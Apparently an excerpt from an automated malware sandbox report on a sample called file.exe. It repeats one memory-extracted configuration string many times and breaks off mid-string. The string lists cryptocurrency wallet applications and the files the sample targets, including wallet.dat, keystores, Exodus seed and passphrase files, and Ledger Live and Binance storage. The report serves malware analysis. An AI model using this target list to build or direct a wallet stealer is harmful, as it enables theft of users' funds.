Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.0000000001717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\.finger-print.fpK2
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 